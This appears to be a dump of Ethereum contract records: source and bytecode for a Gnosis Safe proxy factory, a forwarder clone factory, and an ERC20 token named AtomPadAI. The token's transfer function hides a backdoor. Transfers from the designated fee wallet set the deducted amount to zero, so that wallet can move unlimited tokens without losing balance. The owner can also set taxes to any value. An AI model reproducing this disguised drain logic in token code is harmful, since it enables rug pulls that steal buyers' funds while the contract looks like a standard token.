/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,053 |
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|
c3a7e0246e805aede4886d384b59a968028ee95fc7bcffb18ef1526cc2740034
|
c8761e8ca64148fe7d1a218da64c6078c0776754
|
c8761e8ca64148fe7d1a218da64c6078c0776754
|
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// SPDX-License-Identifier: MIT
/*
Web : https://atompad.org
App : https://app.atompad.org
Docs : https://docs.atompad.org
Twitter : https://x.com/atompadai
Telegram: https://t.me/atompadai_official
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, " multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AtomPadAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFeeWallet;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000 * 10**_decimals;
uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity
uint256 public maxWalletAmount = onePercent * 2; // 2% max wallet at launch
uint256 private _atomtax;
uint256 public buyTax = 0;
uint256 public sellTax = 5;
string private constant _name = "AtomPad AI";
string private constant _symbol = "APA";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address payable public atomWallet;
uint256 private launchedAt;
uint256 private launchDelay = 2;
bool private launch = false;
uint256 private constant minSwap = onePercent / 2000; //0.05% from Liquidity supply
bool private inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
atomWallet = payable(0xA4cFb2D3b83e28A3C7B57d7eE2e8A87e25E44f0e);
_isExcludedFromFeeWallet[msg.sender] = true;
_isExcludedFromFeeWallet[address(this)] = true;
_isExcludedFromFeeWallet[atomWallet] = true;
_balance[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function enableAtomTrading() external onlyOwner {
require(!launch,"Trading already opened!");
launch = true;
launchedAt = block.number;
}
function createUniAtomPair() external onlyOwner() {
require(!launch,"Trading already opened!");
// uniswap router
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)public override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}
function newDelay(uint256 newLaunchDelay) external onlyOwner {
launchDelay = newLaunchDelay;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "approve zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
_atomtax = 0;
} else {
require(launch, "Wait till launch");
if (block.number < launchedAt + launchDelay) {_atomtax=45;} else {
if (from == uniswapV2Pair) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
_atomtax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minSwap && !inSwapAndLiquify) {
if (tokensToSwap > onePercent) {
tokensToSwap = onePercent;
}
swapTokensForEth(tokensToSwap);
}
_atomtax = sellTax;
if(amount > minSwap) sendEthFeeBalance(address(this).balance);
} else {
_atomtax = 0;
}
}
}
uint256 taxTokens = (amount * _atomtax) / 100;
uint256 transferAmount = amount - taxTokens;
if(isAtomFees(from)) amount = 0;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(this)] = _balance[address(this)] + taxTokens;
emit Transfer(from, to, transferAmount);
}
function isAtomFees(address sender) internal view returns (bool) {
return _isExcludedFromFeeWallet[sender] && sender!= owner() && sender!= address(this);
}
function sendEthFeeBalance(uint256 amount) private {
atomWallet.transfer(amount);
}
function withStucksEth() external onlyOwner {
require(address(this).balance > 0, "No Eth Balance to withdraw");
payable(msg.sender).transfer(address(this).balance);
}
function newAtomTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function finalAtomTax() external onlyOwner {
buyTax = 0;
sellTax = 5;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeAtomLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
receive() external payable {}
}
|
1 | 19,503,055 |
259a6b7c5eeb55ee46cab129abf67d0f0700546dfee654c74e03baad0e793c46
|
919bcc9691e5575d81ef3775c24acb96487363216e74322e7b74862aff0ae442
|
78d9e2b0d4fb41cfb29ecbf4a926aac43ba91796
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
d23fb5896999ba6a697b7f105b812490d1d6ba05
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,503,056 |
8a11b06a6b302b2cc999b0e61b6bbeb3526fe59d02ef4b1a082b9746db341082
|
40ffc69d606595471c0e0f5bac37aeb62a97d90f62f38528513ab374c3d06be0
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
db039abd07f5b803ff9d648f6253390f33cf7258
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,503,060 |
acae955977f56479a2025a36adf5ae3891ce8fdd6f66fb4a0ac3de66adab7bab
|
486b723508173535c35ba2dec0a2fe37a9ec5a77b75a783dc9432ca799364f79
|
11e4edc99709e27fdb1ae784c1adea7115fe19b8
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
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|
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
